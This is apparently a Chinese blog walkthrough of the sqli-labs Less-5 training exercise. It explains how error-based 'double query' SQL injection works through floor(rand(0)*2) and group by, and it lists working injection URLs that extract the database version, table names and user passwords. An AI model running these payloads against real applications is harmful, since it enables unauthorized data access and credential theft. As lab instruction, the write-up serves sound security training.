sqli-labs Less-5

Less-5 GET - Double Injection -Single quotes - String

1.原页面
在这里插入图片描述
2. ?id=1
在这里插入图片描述
输入正确不会查询数据库,而是直接返回 you are in…
所以要让它报错,显示我们要的信息。

3.?id=1’
在这里插入图片描述
‘’1’’LIMIT 0,1’ --> (去掉单引号) ‘1’’LIMIT 0,1 -->因为我们输入的是id=1’也就是input=1’ 所以可以判断为 ‘input‘LIMIT 0,1

SQL:
Select login_name,password from admin where id=’input’ limit 0,1;

4.双查询,就是两个嵌套的查询,即 select…(select…)。里面的select被称为子查询,执行顺序也是先执行子查询,然后再执行外面的select。当一个正确另一个错误时,就能使用concat()[连接字符串函数]将正确的结果连接在出错信息中

双注入主要涉及的几个函数:

  1. rand() 随机函数,返回0-1之间的某个值
  2. floor(a) 取整函数,返回小于等于a,且值最接近a的一个整数
  3. count()聚合函数,返回查询对象的总数
  4. group by clause 分组语句,按照查询结果分组

报错原理:
select count(*) from table group by floor(rand(0)*2);

floor(rand(0)*2)的值是定性的,不是完全随机的,是一种假随机,值为011011

执行过程:
第一次:group by floor(0),group by 0,没有,跳过
第二次:group by 1
在这里插入图片描述
第三次:group by 1,因为有对应的key值
在这里插入图片描述
第四次:group by 0
第五次:group by 1,不再进行插入,要新建一个key为1的值,会与之前的key=1冲突,会报错。

执行floor(rand(0)*2) 5次,执行查询3次。

基本套路:
select count(*),concat(([子查询写在这里]),floor(rand()*2)) as a from [table_name] group by a;

5.获取数据库
?id=0’ union select 1,count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a --+
在这里插入图片描述 6.获取表名

?id=0’ union select 1,count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database()),floor(rand(0)*2))as a from information_schema.tables group by a --+
在这里插入图片描述
一次只能返回不超过一条数据,要使用limit进行限制

?id=0’ union select 1,count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a --+
在这里插入图片描述查看其他表,改limit值就可以

?id=0’ union select 1,count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a --+

在这里插入图片描述7.获取用户信息

?id=0’ union select 1,count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a --+

在这里插入图片描述
?id=0’ union select 1,count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 3,1),floor(rand(0)*2))as a from information_schema.tables group by a --+
在这里插入图片描述

自己的一点理解和方法,如果有理解错的地方或者表述不对的地方,欢迎大家指正。

发布了15 篇原创文章 · 获赞 2 · 访问量 299

猜你喜欢

转载自blog.csdn.net/qq_42630215/article/details/104700359